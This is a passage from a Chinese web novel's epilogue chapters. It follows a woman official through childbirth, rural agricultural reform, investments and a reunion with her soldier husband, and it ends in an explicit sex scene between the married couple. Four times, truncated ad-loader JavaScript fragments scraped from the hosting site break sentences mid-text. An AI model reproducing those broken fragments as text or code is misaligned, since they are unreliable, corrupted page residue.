为了怕符伊年夜间发作,也方便姑婆晚上起夜,房间一直留着一盏小夜灯。被叫醒的姑婆借着灯光看了眼她的脸色,立即起床去喊护士。 符伊年被推进了产房。 生产的过程不太久,符伊年从产房出来的时候筋疲力尽、声嘶力竭,嗯,声嘶其实不是痛得大喊大叫,是她在骂祝镕,生了多久就骂了多久。 孩子是龙凤胎,一个四斤六两,一个四斤八两,先出生得是姐姐,后出生得是弟弟,中间隔了二十来分钟。 孩子生出来后符伊年只看了一眼,红红的皱皱的,像一只红皮老鼠,头发倒是十分茂密,一看就是营养十分好。 符伊年想来之后第一件事就是请祝军长和容院长给孩子起名字。 祝军长和容院长一人抱着一个,愣了一下他们以为符伊年和祝镕已经取好了。不过既然儿子和儿媳请求,祝军长也不再推辞。 思考了片刻,将孩子起名“祝之望”和“符亦满”。 “他们出生在八月十五,十五的月亮又叫‘望月’和‘满月’,而且,望有‘希望’‘展望’之意,满有‘美满’‘满意’之意。” 以后的日子,一定会越来越有希望越来越美满的。 138. 番外一 第一三八章番外一 孩子出生三个月,符伊年重新回到工作岗位。 因为是双胎,加上符伊年母乳本来就不多,俩孩子从出生多数时候都是吃奶粉。所以她在单位还算比较安慰,既不用担心涨奶,也不用担忧孩子不习惯奶粉。 祝家人很多,三位长辈加上符伊年,还有三个保镖,一共七个人,可是祝军长和容院长还没退休,三个保镖又都是未婚而且各自有各自的职责,姑婆倒是每天都在家,可是她也是古稀年纪了,照顾两个三个月的婴儿太辛苦。 符伊年同容院长商议了一番,容院长发动自己的关系,聘请了一位退休的妇幼医院的潘姓护士,来帮忙照顾孩子,到时候姑婆统筹大局,潘护士执行就好了。 其实说是退休,潘护士也不过刚五十岁,还算是年轻,而且专业性也比较强,在还没有“月嫂”的年代,有这样的人帮忙,再好不过了。 符伊年没了后顾之忧,工作越发投入和得心应手,三年内主持了几项不同的重要工作,在重要刊物和内参上发表了五篇论文,从办公室普通科员,升任了主任科员。 也是这个时候,容院长到退休年龄了,不过她自认为还很年轻,还可以再工作二十年甚至三十年、四十年,所以很痛快地接受了单位的返聘了。 这种返聘自然是不涉及责行政工作的,她只需要在每周一、三、五的上午到门诊出诊,二、四、六的下午去学校授课。 所以容院长其实依然挺忙的。 符伊年却觉得这样挺好的。毕竟才五十岁,一直闲在家里大概容院长也不习惯,有个事业也算有个奔头,更何况容院长自己也喜欢。 就是本来保姆还得继续用着,哪怕孩子已经可以上托儿所了。 符伊年家的龙凤胎所在的托儿所,是部委托儿所,以后也会上部委幼儿园,然后继续就读部委小学。距离有点远,但是师资力量很好,听说幼儿园已经有外教了。 符伊年每天上班时会顺路把孩子送去上学,下午再由钱招娣和潘护士一起去把人接回来。 两个孩子上幼儿园的时候,符伊年已经在部委工作五年了。也是这一年,她同祝军长和容院长商议过后,争取到了部委下调员工去基层的机会。 彼时符伊年已经升任主任科员职位,再过两年就能升副处了。 得知她申请下基层,同事们都非常不理解,金苓和后来也调入部委的刘洋都来劝她,“基层又苦又累,你何必呢。” “孩子还那么小,哪里离得开你。” 听说消息的管方、马跃等人也都打电话过来劝她,“你可别傻,部委职位一个萝卜一个坑,你下了基层可就不好回来了。” 倒是米仙花,除了最开始的惊讶过后,告诉她,她不会劝她,“但是有些话我得跟你说,基层不容易,事情繁琐不说,还要和上级下级打交道,在人事上会浪费不少精力的。” 符伊年将所有的劝告都收下,既不反驳也不辩解,只按部就班地收拾行李整理行囊。 同学朋友们说的其实她早就考虑好了,基层条件肯定是不如部委,县区也肯定不如京城发达,可条件再差再不发达,基本的生活保障总能达到。 至于孩子,符伊年也舍不得。可是她有自己的抱负,她虽然做不到袁老那样使粮谷满仓、让世人敬仰,却也希望能为一地发展为某地农民奉献自己的力量和热血。 符伊年以前和祝镕说过,一代人有一代人的责任。祝军长和容院长那代人的责任是让华国独立让华国人民站起来;而她和祝镕这一代的责任就是发展华国经济、军事等实力,让华国人民富裕起来,实现真正的温饱。 “下一代的责任,会更重,”符伊年在电话里同祝镕讲,“国家的腾飞、人民的崛起、民族的复兴,一代又一代的接力,肯定会实现。” 符伊年也是这样同两个孩子讲的,只不过用了更浅显更易懂的语言。两孩子似懂非懂,脸是茫然的,头却点的像模像样,“妈妈要去做大事,我们听话,会乖。” 符伊年十分欣慰。 符伊年此时的职级是主任科员,算正科级,对比基层的话,正常应该是乡级正职。不过当时部委为了鼓励青年干部下基层,采取“低职高配”,所以符伊年当时下到基层后,是县级副职。 符伊年在基层的第一个岗位,是成县农林局的副局长,说是副局长,其实干得还是普通调研员的工作,麻烦、琐碎,但是符伊年却很喜欢。 踏踏实实做事,本本分分做人。 说起来好巧,成县也在北江省的管辖之下,和符伊年的故乡安县毗邻,只是中间一座虎尔山脉将两县分割。 因此虽然两县风土人情相似,但是地理条件、经济发展状况相差却比较大。 安县因为有化工厂,相对来说经济略发达一些,算是工业县城,即便是农村山地也不多,地势较为平坦,耕地比较多,实行家庭联产承包责任制后,农民的经济有很大的提升。 而成县就是完完全全的农业县城了。 “农”之一字,并不单单指粮食作物的种植,从广义上来说,农、林、牧、副、渔都是农业的分类。 对于成县,首先牧和渔可以排除,因为这两个至少要有广袤茂盛的草原和比较大的河流湖泊,这两样成县都没有。 而且,虎尔山虽然分割了成县和安县,安县那一侧山脉只是陡峭,山脚之下再往外延申,地势比较平坦,适宜开垦农田。 山脉这一侧,陡峭部分只有一段,剩下的都是延绵山坡,而且岩砾、石块比较多很难开垦成田地,倒是生长了不少树木。 成县要发展,那就只能从农、林、副三个方面做文章。 符伊年来到成县的第一年,她几乎一直在下头村镇走访调查,整整一年,在办公室的时间不超过三十天。 成县耕田少山地多,符伊年和县里的其他几位同事研讨后,写了一份关于给靠近山脚、山坡的群众发果树苗的建议给局长,将山坡的部分没有经济效益的树木砍伐挖掘,根据当地气候条件、土壤条件、水利条件等,种植和嫁接经济效益比较高的果树,比如最近几年价格比较贵的富士苹果、水晶雪梨、薄皮大枣还有樱桃、栗子等。 其实这样的办法当地官员未必想不到,只是因 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为各种原因,未必会有有人提出来或者提出后未必受到重视。 而符伊年作为“空降兵”,或许因为有在部委工作过的经历加持,或许是因为她比正局长还高的学历,总之,这件事竟然在第一年就落实并推广了下去。 符伊年也是觉得很神奇了。 而且,因为有了带头人,本地同事的工作积极性被带动,甚至有人提出了在果树林间套种大豆的想法。 符伊年觉得,先不管这个办法现实不现实,这种积极性是好的,她在全县工作回忆上表扬了这位同事好几次。 后来证实,只要土壤条件合适,林间套种大豆这个模式非常好,除了大豆,甚至还可以套种芝麻、红薯、药材等其他经济作物。 后来,符伊年写了一篇名为《立体农业模式的优势和意义》的论文,并请自己在农大的导师修改。符伊年本来是想投稿给农业报的,却没想到被老师推荐给了内参,是后来祝军长和容院长告诉的她,令她十分惊喜。 当然,这是后话了。 果树种下去当然不会立即有经济效益,两年后,也就是她在成县的第三年,第一批果树开始结果。 符伊年还告诉农民们,不要再用筐或者麻袋提去市场兜售,可以请纸板厂制作一批纸箱,用来装果实,而且要进行分类,大果中果小果的价格可以不同。 而且,为了使农民不去操心销路,符伊年还帮忙找到了收购商,甚至利用自己的人脉,联系到了“蔬菜出口协作小组”的主要负责人,将一部分优良品种的果实打包出口。 符伊年在成县的第四年,也就是果树开始结果第二年的春天,二月份人代会结束,符伊年原地升迁,从县农林副局长升为局长。 升为局长的符伊年开始负责更多统筹性的工作,但是她依然喜欢走基层进乡村,考虑群众的需要。 所以,第二年符伊年主持了并促成了“成县养鸡合作社”——以合作社的方式,建立了一座养鸡场,养殖蛋鸡、肉鸡、种鸡等不同品种。 她在成县一共工作了六年,六年里,不仅农民收入增加了,农村生活条件发展了,当地的经济水平也有所上升,治安状况甚至还变好了——养鸡场招募了大量工人,游手好闲的人少了,可不治安就会好很多。 当又一届人代会闭幕,符伊年升任了是农林局的副局长,不过并不是原地升迁,而是调任,成为闽省福市农林局副局长。 八年后,符伊年进入闽省农业厅工作。符伊年在闽省一待就是十二年,担任过处级调研员、处长、人大委员、副厅长、厅长、副市长。 后来,符伊年还在舟省、沪市、津市工作过。 当她再回到农林部时,已经是二十五年之后了,那个时候农林部已经不再叫农林部,而是叫:农业农村部。 为坚持农业农村优先发展,统筹实施乡村振兴战略,推动农业全面升级、农村全面进步、农民全面发展,加快实现农业农村现代化将农业部的职责,以及国家发展和改革委员会、财政部、国土资源部、水利部的有关农业投资项目管理职责整合,组建农业农村部,作为□□组成部门。 139. 番外二 第一三九章 符伊年这一生没缺过钱,甚至某种程度上说,她算是个有钱人。 高考前符伊年是纺织厂的宣传干事,由于工龄短,每个月只有二十五块钱。可即便如此,在当时也算是很不错的了。 要知道七五年的华国全国人均收入也才四十八块七毛二。 再加上符唐二人生前的积攒、牺牲后的补贴等,总数达到了五位数。考上大学后,这笔钱被符伊年用来购买、修复四合院,后来她在这里度过了一生。 至于生活费。感谢国家感谢党,那个时期的大学生读大学,不仅不用出学费、生活费,甚至还有生活补贴。 符伊年后来回忆了一番,农大的生活补贴不算少,比她以前在纺织厂的工资还要多几块钱,不过也不算是最多的,听说京大和华大更多一点。 后来随着改革开放,卖配方开厂子,总之符伊年真的是从来没有缺过钱,甚至还在随着国家经济发展、工厂日益壮大,分红的数额在年年上涨。 八四年九月,符伊年生下了双胞胎。 因为觉得符伊年孕产双胞胎十分消耗元气,容院长和姑婆让符伊年坐双月子。怕她坐月子太无聊,又怕她月子里用眼过度伤了眼睛,容院长只在她房间里放了一台收音机,没有放电视机。 符伊年记得还是挺清楚的,十一月二十号的时候,她在收音机里听到新闻播报说,沪市一家音响制造公司委托华国国工商银行沪市分行证券部公开向社会发行股票一万股,每股50元。 听到这个消息的符伊年当即坐了起来。 股票! 没想到华国这么早就有了第一支股票。这可是千载难逢的机会。可是符伊年还在坐月子,没办法亲自去购买。 想来想去,符伊年喊了钱招娣过来,交给她五万块钱,让她替自己去买。五万块钱,大概可以买一千股,为了抢时间,她甚至没让钱招娣坐火车,而是乘飞机。 然而,华国有想法、有远见的人真的很多,一万股的股票,很快抢购一空,钱招娣带着五万块过去的,又带着五万块回来的。 符伊年叹气,看来这股票的第一口螃蟹,她是吃不上了。 这段时间,“康洁”厂开始快速发展、扩张,除了京城的工厂,还分别在粤省汕县、浙省吴县建立了分厂,销售版图也越来越大,效益越来越好。 相应的,符伊年的分红也越来越多了。从最开始的大五位数,涨到了小六位数。随着手里的钱越来越多,符伊年觉得不能只是让其放在银行,最后只成为存折上的一行数字。 钱,只有流通起来,才是钱。投资,才能让钱生钱。 可是对于她,或者说她这个家庭来说,没有时间来经营一门生意,也不再适合做生意。符伊年想来想过去,觉得还是买房子买地比较靠谱。 当时还在沙漠里帮助骆驼修筑军事基地的祝镕听了她的想法,觉得没什么必要,“当然,我不是反对你的想法,只是我们已经有一座四合院了,以后部队也会分房子,根本不缺住的地方啊。” “是这样没错,”符伊年绕着电话线,“我等着沾你的光住将军楼呢。可是孩子们呢?” “什么?”祝镕有些不解,眼睛不自觉地看向桌上,上面放着两张照片,照片上是刚百日的两个婴儿,嘴角微翘,“这和俩娃娃有什么关系?” 符伊年就把自己的想法说给祝镕听:将军楼终归是公产,一旦祝镕退休,就要还给部队,那么到时候一家人就要重新回到四合院住。 “到时候说不定就要三代同堂四代同堂了,四合院未必住的下了。”符伊年给祝镕描绘了一个二三十年后的大家庭,“况且,以后国家发展越来越好,房价肯定会越来越贵,早点买划算。” 符伊年换了只手拿话筒,“我跟你说,现在差不多地段差不多面积的四合院,比当初我买的时候贵了差不多三倍了。以后四合院肯定越来越贵,就算是楼房也不会便宜的。” 祝镕不是那种固执、死板的人,尤其他出国后,见识、思想更加开阔,也知道以当前的国家发展状况,房地产商业化是早晚的事,既然如此,那就买吧。 不过,祝镕有点担忧符伊年的身体,“你既要带孩子,还要上班,再出去找房子,会很累啊,要保重才行。生双胞胎本就消耗精力元气的。” 符伊年却对祝镕的叮嘱不以为然,她自己的身体她自己知道,况且她又不会自己去满大街找房子问房子,当然事请房产中介来帮忙啊。 祝镕感觉到了她的不以为然和不耐,但是没办法,离得远他总是要多说几句。好在符伊年也不是那种不靠谱的人,家里也有长辈,定能照应好的。 既然夫妻双方达成了一致,符伊年就着手起来。 只是这个时期的京城,商品楼房不多,四合院大多还是被不同人家占据的大杂院,又很少有完整产权的。 尤其符伊年又想买合现在的四合院地段、面积差不多的院子,一时之间没有什么合适的。 也就是这个时候,管方过来找符伊年,给她看了一样新事物——BP机。 管方没有拐弯抹角,直接开门见山,“我想办个寻呼台,来拉你入伙。” 符伊年知道管方前两年开了间家政公司,到如今应该也小有积蓄了。但是她没想到,管方竟然已经有资本可以办起寻呼台了。 这个时期BP机虽然还没有普及,但是也逐渐推广起来,符伊年也买了BP机,因此知道BP机的便利和优点。至少在未来十年甚至二十年内,还是大有可为的。 “刚好,我还有件别的事要找你帮你。”符伊年把入股寻呼台的钱交给管方的时候,同她说了自己的诉求,请她帮自己在寻摸一座地段差不多、面积差不多的四合院,“我看,你要不要再开间房屋中介所?把附近的房屋的信息都汇总一起,以后来京工作的越来越多,房屋需求也会越来越大的。” 管方家以前就有人作过“房信儿”,现在又开着家政公司,再开一间房产中介的话,也不是一件难事。 管方受到启示,第二天就去注册了一家房产中介,第一单生意就是符伊年者这个。不过符伊年要求略高,管方也不是那么快就能找到合适的,寻摸了快两年,才买到一座地段差不多的大两进。 这时候,符伊年已经在准备下基层了。 也是这个时候,国家为新华国第一次举办的重大赛事面向社会筹款。 当时社会各界都十分踊跃,听说还有明星为了筹款开办了六次演唱会, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 将所有的收入都捐给了组委会。 符伊年和祝镕商量了之后,将两人一整年的工资都捐出去了——祝镕人虽然出国了,工资还是符伊年去领的,他在国外有补贴可以花。 这个时期华国的工资虽然有在随着经济增长和通货膨胀增长,但是相对日益增多的“万元户”“买卖人”来说,公务员和军人的工资其实还真不算多。 符伊年和祝镕两个人一共捐了五千多不到六千块钱。连符伊年在“康洁”厂一个月的分红都不到。 “妈妈,你好有钱啊。”符亦满看着一沓一沓的大团结被装起来,很快一只二十寸行李箱就装满了。 祝之望拉着妹妹的手,用力点头,“妈妈你这么有钱,为什么连摇摇车都不给我买?” 上个月符伊年和容院长带两个孩子去商场买衣服,商场门口摆了两辆摇摇车,就是那种唱“爸爸的妈妈叫奶奶,妈妈的妈妈叫姥姥”的那种摇摇车,两孩子坐了一次之后就惦记上了,一直想让符伊年给他们买,但是符伊年一直以“太贵了”不同意。 “宝贝,这些钱看起来很多,但是对于我捐出去要做的事,只是杯水车薪。”符伊年给孩子解释了什么叫杯水车薪,又告诉他这是利国利民的大事,“而摇摇车对于你们来说太幼稚了,上面说的那些什么‘爸爸的妈妈是奶奶,爸爸的爸爸是爷爷’这种常识你们都知道,没必要买回来。” 两个娃娃眨着眼,自认为理解了符伊年的意思:家里的钱都是留着干大事的。 符伊年调职到闽省福市的时候,华国有了自己的股市——深圳证券交易所和沪市证券交易所。 也就是后来股民们常说的“深交所”和“沪交所”。 最开始的时候挂牌股票只有八只,而且这一次和八四年的可是完全不一样,这次不仅发行量更多,而且面向全国,很多城市都有交易所。 这一次,符伊年不会再错过“吃螃蟹”的机会,立即去买了交易所购买了若干份股票。 其实,她对华国的股票并没有研究,在她印象中,华国股票熊市时间多过牛市,只不过“老八股”还是值得购买的,尤其深发展、万科这些。 符伊年本来是想着放在手里待涨,没想到的是,涨得也太快了,快得她心里惴惴的。 祝镕:“要不卖了吧,看你这一天天患得患失的,连着半个月都在跟我说这个事了。” 符伊年犹豫着:“再等等吧。” 一年多以后,符伊年还没卖。两年后,符伊年依然在由于。 祝镕笑话她一点都不像是学经济的,“专业性都不知道去哪里了。” 笑话完她,祝镕面色一正,告诉符伊年还是快点卖掉比较好,“还有‘康洁’厂的股份,听说上边已经在制定条例了。” 果然,不久后国家出台了《国家公务员暂行条例》,里面又有一条规定就是:公务员不允许经商、办企业以及参与其他营利性的经营活动。 不过,那个时候符伊年已经将股票和股份在京沪两市置换了房产。 符伊年:“等我退休了,我就每天提着袋子上门去手房租,一号收第一家,二号收第二家……” 祝镕:无语变成了我的母语。 俩崽:房二代?好耶! 140. 番外三 第一四零章番外三 祝镕接了国家的任务去骆驼家援建,这一去就是五年。 五年里,中间段的时候,祝镕其实也是有机会可以回国探亲的,或者让符伊年出国过去探望他。不过当时一个要发扬风格,另外一个刚出月子才回到工作岗位,都不是很适合,因此这个机会就让给了别人。 所以,两人这五年,真的是“只闻其声不见其人”,嗯,照片不算。 毕竟五年呢,怎么可能一张照片都不往回寄? 第一封信是一个月后,里面随信附了几张照片,是祝镕到骆驼加第一周拍的,有单人照也有集体照。祝镕的变化其实还不是很大,依然是文雅隽秀的,只是比之前黑了,肤色已经比小麦色还深了不少。 符伊年知道骆驼家很热很晒,但是没想到当时才一周,就黑了这么多。后来在符伊年电话里叮嘱他要擦防晒霜,得到的答案是有擦,但是效用不大。 符伊年不知道是骆驼家的抬眼真的这么晒,还是这个时期的防晒霜效用真的这么差,最后只能提示他既然化学防晒没有用,那就做好物理防晒,帽子要戴好。 不过到底天热又忙碌,很难时时处处都保护得那么周全,所以之后寄回来得照片,还是一次比一次黑。 不过,等到半年时间过去后,大概已经黑到不能再黑了,后来面色就没什么变化了。而且吧,不知道是不是风沙大,皮肤也粗糙了不少。 这么两年下来,气质竟然大变样,更有棱角更严厉,虽然笑着可是不怒自威的气质就已经在显露出来了,加上体型变化,越来越成熟越来越稳重,也就越来越像祝祝军长。 以至于后来祝镕一路高升,真的升到一军之长的位子后,很多领导还是一眼就能认出来他来,毕竟长得和他爸爸真的太像了。 祝镕在骆驼国待了整整五年,马上要回国的时候因为基地突发了点事故,而新来的执行主官还没能完全上手,祝镕不得不推迟已经制定好的行程,再回回国的时候已经是三个月后了。 那个时候,符伊年请好的为了接祝镕回国的探亲假也早就过期了,而且因为面临春耕,符伊年要回去安排事情,只能在陪儿女游玩了几天之后,重新回去工作岗位。 那个时候,符伊年才刚刚升为成县农林局局长。 祝镕的航班到国内是早上,但是他不能立即回家,而是要和一同回来的十几位同事一起先去军医院体检,有可能还要住个七八天,若是有问题就治病,没有问题就当疗养。 疗养时间一到,祝镕从疗养院出来,只和两个孩子还有父母吃了一顿午饭。 说起来这是祝镕第一次见到孩子们,孩子们也是第一次见到他,互相之间倒是没有多陌生,毕竟平时信件、通话都不少,彼此也寄了很多照片,符伊年也好,姑婆、容院长、祝军长也好,平时都经常提起祝镕,孩子们并不觉得陌生。 更何况血浓于水,到底是亲父子亲父女呢。 祝镕吃过午饭,就匆匆去了火车站,上了去往成县的列车。因为刚回国,还没有安排工作,也就没有专属的车子,祝镕只能乘坐火车。 祝镕带的东西不多,就一个背包,装了几件欢喜衣物,剩下都是给符伊年带的礼物,有他从骆驼家买的,有在别国转机时买的,也有京城家里为她准备的。 下了火车,才出火车站就有人上前来招揽,说着一个个地名,祝镕看了一圈,发现有小三轮改装的蹦蹦车,也有摩托车,当然都是没有执照的黑车。 最终他一个都没选,走到两百米外的公交站旁边的报刊亭买了张地图,顺着地图的指示走去了县政府。 倒是不远,二十分钟的路程,公交的话也就七八分钟的样子。 也是,成县本身并不大,县城面积就更小了。 当时是下午三四点的样子,上班时间,路上行人不多,所以当祝镕一身军绿迷彩从远处走过来的时候,门口的警卫老早就注意到他了。 等到祝镕越走越近,警卫就从岗亭中出来,注意到祝镕肩上的肩章后,抬手敬礼,“首长好!” 祝镕抬手还礼,“你好!”接着主动将自己的证件递给他查验。 警卫查验后交还给他,“请问首长有什么事吗?” “额,”祝镕用食指关节蹭蹭太阳穴,“能不能帮我问问你们农林局的符局长在不在?然后让她来接我一下子?” 祝镕话音才落,就看到警卫突然激动起来,似乎想伸手握住祝镕的手,又很快收了回去,在裤边摩挲着。 “您就是符局长的爱人,去骆驼家援建的祝首长!我特别崇拜您!”警卫一激动就带出了些西北口音,“我做梦都想去射火箭!” “都是工作,都是为人民服务和保护祖国,”祝镕只能如此安抚他,“你可以报考军校,考西安二炮就行。” 警卫点头,看起来早有准备,“我正在复习呢!” 祝镕浅谈了几句后,不得不再次提醒他,帮自己找一下符伊年。警卫这才恍然记起正事,于是小跑着回到岗亭拨了个电话过回去,过了一会儿又跑出来。 “首长,符局长和县长下乡调研去了,还没回来。您看……” 按理说祝镕是有职级的军官,应该让他去会客室等待,但是祝镕没等对方说完就说自己在这里等一等。 只是话音刚落,就听见有车开过来。两人同时看过去,只见一辆中巴车停在县政府的大门口。 县政府的大门本身并没有关闭,中巴车其实完全可以驶进院子里去,但是不知道为什么,就在大门口停下了。 车门打开,先是几个秘书模样的人下了车,但是没有离开,就那么站在车门口等着。接着是几位领导,有年纪大的也有年纪轻的。 符伊年是在中间下车的,下了车后也没有立即离开,而是等到另外一个领导下车后,两人两人一起往县政府大门里走,同时似乎还在交流些什么。 祝镕和警卫站在门口还没分开,就看着他们这一行十二三个人往前走,有说事的也有说笑的,气氛和谐而热烈。 祝镕看到符伊年气质沉稳,谈吐流利,偶尔手上带些动作,端的是一派意气风发。这些人里她应该是年纪最小的,但是并不觉得她气势上有什么低弱之势。 祝镕没有出声,很明显符伊年此时还有工作在忙。不过下一秒他就和符 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伊年的目光撞了个满怀。祝镕正犹豫要不要出声,就看到符伊年已经移开了视线,没有任何表示。 祝镕嘴角微翕,又闭上了嘴,嘴唇抿成了一条线。 其实这不能怪符伊年,她根本没想到祝镕会来。她之所以看过去,只是因为大门口一向空荡荡的,今天突然站了两个人还是挺显眼的,就看了一眼然后就移开了目光,根本没走心。 也多亏她看了这一眼。 收回目光后又走了两步,符伊年突然停下了脚步,猛然转头看过去,定定地看了几秒——果然不是我眼花了。 “符局长?”见她突然停了脚步,身边的同事提醒她,“有什么事吗?”甚至也顺着她的目光向祝镕看了过去。 符伊年和祝镕对视了几秒,收回实现,摇头,“没事。”接着继续说起两人刚刚谈论的话题,“他们乡镇的问题不是土地,是劳动力……” 祝镕见她移开目光后又猛地看过来,知道她刚刚没认出自己,现在又认出来了,忍不住翘翘嘴角,心情也好了起来。 警卫在一旁看看,觉得奇怪,刚才明明感觉到祝首长的气势突然严肃了起来,怎么过了两秒就缓和了下来了? 祝镕这时才想起警卫还站在这里,“你回去站岗吧,我在这里等一会儿。” 说是等一会儿,其实等了也有十多分钟,祝镕甚至看见有人骑着自行车从大门口出来,应该是到下班的时候了。 符伊年就是这个时候出现在大门口的。 穿着和刚才一样的白衬衫、藏青色戗驳领外套、黑裤子,只是鞋子从之前的解放胶鞋,换成了现在的半高粗跟黑皮鞋。 符伊年走过来,微微仰头看向祝镕。 黑了,不过因为有之前的照片做铺垫,还能接受。瘦了些,脸庞更有棱角了。好像,还高了几公分的样子。 符伊年手臂微微抬了抬,又想到这是在县政府门口,他俩后面还有警卫在瓜兮兮地偷瞄,于是拥抱的手臂垂下来,拉住了祝镕的手,只握了一下就松开了。 手也粗糙了不少,手心有茧子,手背还有些伤口正在愈合。 符伊年看着祝镕,心里有千言万语一样想说,可是最终所有的思绪、话语,能说出来的只有一句:“吃饭了吗?” 符伊年是这样,祝镕又何尝不是,如果眼睛里有漩涡,他一定要把符伊年吸进去,和自己融为一体,两人再也不要分离。 听到符伊年的问话,感受到她本来想拥抱又改成拉手的想法,也顺势捏了捏她的手心,“没吃呢。” 符伊年颔首,对祝镕偏了偏头,“那走吧,我带你吃饭去。”说完转头就走。 祝镕抬腿立即跟上。 警卫站在岗亭里,祝镕背对他,挡住了符伊年的身影,所以看不见两人的表情,而且因为有段距离,也听不清两人的对话。 他只觉得,这俩人怎么这么平静呢?自己当兵才两年回一次家,老娘就抱着又哭又叫的了,祝首长和符局长不说哭吧,怎么也得抱一个吧? 难道感情不好? 要不说年轻人,要知道,表面上风平浪静,背后说不定已经风起云涌、欲海滔天了。 141. 番外四 第一四一章番外四 祝镕被符伊年领走了。领着他从县政府的大门口进去,十分光明正大。 “已经下班了,我就不带你进办公室了。”符伊年走在前面,看了眼祝镕身上的背包,“重不重?”接着没等他回答就笑起来,“重也没办法,自己背着吧,一会儿到了食堂就可以放下了。” 祝镕笑了两声,“不怎么重。”说完打量了一番符伊年,语气肯定地说:“成熟了,更好看了。” 谁不喜欢被夸奖呢?即便是亲密的夫妻,也要将对对方的赞美、喜爱表达出来,更何况祝镕的表达是由衷的是真诚的。 所谓“真诚就是必杀技”。 成县县政府食堂不算小,因为隔壁公安局的同志们也过来搭伙了,所以即便是晚饭,用餐的人也很多。 两个人进了食堂,符伊年先找了位子让祝镕把背包放下,“你坐着等我,我去打饭。” “我和你一起?”祝镕不想坐着等,他已经预感到自己会被各种隐晦的和明显的目光打量、审视。 符伊年无所谓,“也行,你自己挑自己想吃的。” 祝镕跟着符伊年走了一圈,发现她们的伙食还不错,虽然种类不多,不过有荤有素还有汤,管饱是肯定的。 今天一共六种菜品,两人一共打了两荤两素:油渣炒白菜、酸辣土豆丝、棒骨炖酸菜、香炸带鱼,没有要汤。 “你们平时菜品也都这么丰富吗?”坐下后,祝镕从桌上的筷子筒抽了两双筷子,递了一双给符伊年,他夹起一筷子油渣白菜吃了,然后点头,“嗯,还不错,手艺不错。” 符伊年笑笑,“你是在骆驼家太久没吃到中餐了吧?” “没有,”祝镕摇头,“我们基地有中餐厨师的,而且我还在京城疗养了一个星期呢。” 符伊年先问了他在京城疗养的情况,得知他身体没有问题后,放心了不少,然后才回答他的问题,“还行,基本能保持五六个菜里有两个荤,要是碰上节日,也有粽子、饺子。” 祝镕眼睛注视着她,看她眉如远山眼若明珠,看她面容柔和气质沉稳。看,这是我爱人啊,我爱的人。 “怎么了?”符伊年察觉对面没了动静,既不说话也不吃饭,抬起头疑惑地问,接着笑出来,“不会是五年没见,生疏了吧?” 祝镕突然抬起左手揉了揉她的头顶,“这就吃。” 符伊年没有多想,等他吃完将人带回宿舍。 说是宿舍,其实是家属楼里的一个两室一厅的房子,自从符伊年到了成县就一直住在这里。进门换了鞋就是客厅,东西不多也不少,该有的家具都有,因为不开伙,少了几分烟火气。 祝镕甚至看到卧室柜子上还有一台很小的熊猫电视机。 符伊年让祝镕把背包放下,看到他的视线落在电视机上,就解释道:“是爸妈原来在军区大院的那台,我给他们换了台彩电,这台就拿到这里来了。” 祝镕听了有几分无语,“不是都在四合院住么,还给军区买什么彩电,再说,将军楼早晚要退回去的。” 祝军长还没退休,将军楼还能继续住。 符伊年笑了笑,“人家老两口偶尔也要过过二人世界的嘛!” 她话音才落,就感觉到后背覆上来一个人,祝镕在她耳边压低着声音说:“那,我们小两口也过过二人世界吧。” 这个混蛋,明知道自己耳垂最敏感,竟然含住了! 符伊年轻轻打了个颤,接着就被身后的人扳着肩膀轻轻一转,变成了面对面的姿势。祝镕盯着符伊年的面孔,一手搂着她的后腰,一手按上她的后脖颈,慢慢低下头去,唇瓣即刻相贴。 五年未见,两人都很想念对方,一个军中旷久一个闺房寂寞,两人都像是沙漠中久渴的旅人,终于见到了水源,怎么可能只浅尝辄止? 于是越吻越用力越吻越动情,就在符伊年觉得自己要被憋死的时候,听见了一声轻笑,“呼吸。” 符伊年扶着祝镕的手臂,大口大口的呼吸,氧气重新回到身体,理智回笼,她忍不住在祝镕胸前拍一巴掌,“憋死我了!” 一抬头,正好和祝镕的眼神对视,她清楚地看见他眼底的笑意,还有毫不遮掩的渴望,像是有一道漩涡,似乎立刻就要将她卷进去、吞噬掉。 符伊年愣了一下,心跳加速,她突然想起一个词:出笼的野兽。 两人本来就站在床边,祝镕按着她的后腰轻轻一扭,就将她压在了床上。符伊年的手臂也随着他的动作上移,从扶着手臂变成了搂着脖子。她能感觉到他肌肉紧绷,身下像是即将出鞘的利剑,顶着她。 他在渴望她。她又何尝不是呢? 温润的舌撬开牙关,闯入口腔,毫无章法地横冲直撞,带来连绵酥麻的刺痛感,也将她的理智一点点卷走。 室外天光大亮,室内窗帘垂落,地板衣衫凌乱,白色的衬衫下是军旅的迷彩裤,与床上的两人位置相反,他压着她,在她的肩膀和胸前留下刺眼而暧昧的痕迹。 符伊年见到祝镕后情绪一直很平稳,甚至称得上平静,倒不是她对祝镕的归来和出现不激动,而是,她其实有那么一丝不真实感,仿佛这些其实都是她自己臆想出来的,毕竟这种臆想也不是没有出现过,只是每次梦醒,她都会恍然。 原来是梦啊。 可是,在她终于和他结合的那一刻,这种臆想而来的幻觉被刺破,被填满的充实感,和深深浅浅的撞击,都是那么真实。 “祝镕……祝镕……你、你是真的吗?”符伊年贴在他的怀里,感受他的温度和激动。 “是我,是我,年年……”有那么一瞬,祝镕的眼泪将要夺眶而出,他不知道她到底是多想念多茫然,竟然在这样的时刻还要再三确认。 “年年……年年……是我回来了,是我,我是祝镕。” 符伊年听见祝镕在自己耳边轻唤,和他激动的呼吸气流。于是她将手臂紧紧地攀扶着他,双腿也不自觉地缠绕着他,圆润的指甲在他肩胛处留下一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道道痕迹。 也不知道过了多久,符伊年正要抗议,她听见耳边一声喟叹,祝镕覆在她身上,头埋在她的颈窝。 符伊年正在奇怪,刚想说些什么,就感觉到肩头处冰凉湿润。没说出口的话语被咽了回去,手臂抬起来,在他的后脑勺轻轻抚摸,无声地叹一口气。 祝镕被她这哄孩子似的的动作弄得一愣,那种喷薄的情绪慢慢缓和下来,过了片刻,祝镕胳膊撑着身子起来,想问符伊年要不要去洗一洗。 